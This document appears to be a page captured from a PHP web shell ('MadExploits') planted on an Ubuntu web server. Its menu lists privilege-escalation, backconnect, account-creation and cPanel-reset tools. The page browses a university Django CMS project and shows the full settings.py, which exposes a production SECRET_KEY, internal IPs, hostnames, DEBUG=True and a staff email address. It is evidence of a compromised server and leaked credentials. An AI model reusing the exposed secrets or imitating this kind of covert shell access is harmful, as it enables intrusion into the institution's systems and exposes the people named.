Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
vicas-dev /
myproject /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
asgi.py
395
B
-rw-r--r--
settings.py
8
KB
-rw-r--r--
urls.py
1.29
KB
-rw-r--r--
views.py
417
B
-rw-r--r--
wsgi.py
395
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : settings.py
import os # isort:skip gettext = lambda s: s DATA_DIR = os.path.dirname(os.path.dirname(__file__)) """ Django settings for myproject project. Generated by 'django-admin startproject' using Django 3.1.14. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent MEDIA_URL = "/media/" MEDIA_ROOT = os.path.join(BASE_DIR, "media") MEDIA_URL = "/media/" MEDIA_ROOT = BASE_DIR / "media" PRIMARY_EMAIL_DOMAIN = "iiitd.ac.in" BACKUP_EMAIL_DOMAIN = "iiitd.ac.in" # using for backup HOD_EMAIL = "surbhi24141@iiitd.ac.in" # HOD email ############ EMAIL_BACKEND = "django.core.mail.backends.smtp.EmailBackend" EMAIL_HOST = "smtp.gmail.com" EMAIL_PORT = 587 EMAIL_USE_TLS = True EMAIL_HOST_USER = "youremail@gmail.com" # Replace with your email EMAIL_HOST_PASSWORD = "yourpassword" # Replace with your email password DEFAULT_FROM_EMAIL = "no-reply@iiitd.ac.in" # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = "2))+-8qakrp1xtx7e1lygn8r8yo%(4a)@7j=nxu)+2z#-gp$6u" # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [ 'vicas-dev.iiitd.edu.in', '127.0.0.1', '192.168.3.70' ] # Application definition ROOT_URLCONF = "myproject.urls" WSGI_APPLICATION = "myproject.wsgi.application" # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", }, { "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", }, { "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", }, { "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = "en" TIME_ZONE = "Asia/Calcutta" USE_I18N = True USE_L10N = True USE_TZ = True USE_I18N = False # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = "/static/" MEDIA_URL = "/media/" MEDIA_ROOT = os.path.join(DATA_DIR, "media") STATIC_ROOT = os.path.join(DATA_DIR, "static") STATICFILES_DIRS = (os.path.join(BASE_DIR, "myproject", "static"),) SITE_ID = 1 DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", "DIRS": [ os.path.join(BASE_DIR, "myproject", "templates"), ], "OPTIONS": { "context_processors": [ "django.contrib.auth.context_processors.auth", "django.contrib.messages.context_processors.messages", "django.template.context_processors.i18n", "django.template.context_processors.debug", "django.template.context_processors.request", "django.template.context_processors.media", "django.template.context_processors.csrf", "django.template.context_processors.tz", "sekizai.context_processors.sekizai", "django.template.context_processors.static", "cms.context_processors.cms_settings", ], "loaders": [ "django.template.loaders.filesystem.Loader", "django.template.loaders.app_directories.Loader", ], }, }, ] MIDDLEWARE = [ "cms.middleware.utils.ApphookReloadMiddleware", "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.csrf.CsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "django.middleware.locale.LocaleMiddleware", "django.middleware.common.CommonMiddleware", "django.middleware.clickjacking.XFrameOptionsMiddleware", "cms.middleware.user.CurrentUserMiddleware", "cms.middleware.page.CurrentPageMiddleware", "cms.middleware.toolbar.ToolbarMiddleware", "cms.middleware.language.LanguageCookieMiddleware", ] INSTALLED_APPS = [ "djangocms_admin_style", "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.admin", "django.contrib.sites", "django.contrib.sitemaps", "django.contrib.staticfiles", "django.contrib.messages", "cms", "blog", "students", "news", "mission", "faculty", "register", "publications", "team", "menus", "sekizai", "treebeard", "djangocms_text_ckeditor", "filer", "easy_thumbnails", "djangocms_bootstrap4", "djangocms_bootstrap4.contrib.bootstrap4_alerts", "djangocms_bootstrap4.contrib.bootstrap4_badge", "djangocms_bootstrap4.contrib.bootstrap4_card", "djangocms_bootstrap4.contrib.bootstrap4_carousel", "djangocms_bootstrap4.contrib.bootstrap4_collapse", "djangocms_bootstrap4.contrib.bootstrap4_content", "djangocms_bootstrap4.contrib.bootstrap4_grid", "djangocms_bootstrap4.contrib.bootstrap4_jumbotron", "djangocms_bootstrap4.contrib.bootstrap4_link", "djangocms_bootstrap4.contrib.bootstrap4_listgroup", "djangocms_bootstrap4.contrib.bootstrap4_media", "djangocms_bootstrap4.contrib.bootstrap4_picture", "djangocms_bootstrap4.contrib.bootstrap4_tabs", "djangocms_bootstrap4.contrib.bootstrap4_utilities", "djangocms_file", "djangocms_icon", "djangocms_link", "djangocms_picture", "djangocms_style", "djangocms_googlemap", "djangocms_video", "myproject", ] # AUTH_USER_MODEL = 'register.CustomUser' # settings.py LOGIN_URL = "/login/" # Custom login URL LOGIN_REDIRECT_URL = "/profile/" # Login ke baad profile page par redirect karega LOGOUT_REDIRECT_URL = "/login/" # ✅ Redirect after logout LANGUAGES = ( ## Customize this ("en", gettext("en")), ) CMS_LANGUAGES = { ## Customize this 1: [ { "code": "en", "name": gettext("en"), "redirect_on_fallback": True, "public": True, "hide_untranslated": False, }, ], "default": { "redirect_on_fallback": True, "public": True, "hide_untranslated": False, }, } CMS_TEMPLATES = ( ## Customize this ("fullwidth.html", "Fullwidth"), ("sidebar_left.html", "Sidebar Left"), ("sidebar_right.html", "Sidebar Right"), ("index.html", "Base"), # ('login.html' , 'Login'), # ('register.html' , 'Register'), # ('members.html' , 'Members'), # ('blogs.html' , 'Blogs'), ("contact.html", "Contact"), ("Gallery.html", "Gallery"), # ('blog_detail.html' , 'BlogDetails'), # ('profile.html' , 'Profile'), ("otp_verification", "OTP-Verificatio"), # ('otp_verification.html', 'OTP Verification Page'), ) X_FRAME_OPTIONS = "SAMEORIGIN" CMS_PERMISSION = True CMS_PLACEHOLDER_CONF = {} ALLOWED_HOSTS = [ 'localhost', '127.0.0.1', 'vicas-dev.iiitd.edu.in', # Add this domain ] DATABASES = { "default": { "CONN_HEALTH_CHECKS": "False", "CONN_MAX_AGE": 0, "DISABLE_SERVER_SIDE_CURSORS": "False", "ENGINE": "django.db.backends.sqlite3", "HOST": "localhost", "NAME": "project.db", "PASSWORD": "", "PORT": "", "USER": "", } } THUMBNAIL_PROCESSORS = ( "easy_thumbnails.processors.colorspace", "easy_thumbnails.processors.autocrop", "filer.thumbnail_processors.scale_and_crop_with_subject_location", "easy_thumbnails.processors.filters", ) DEBUG = True
Close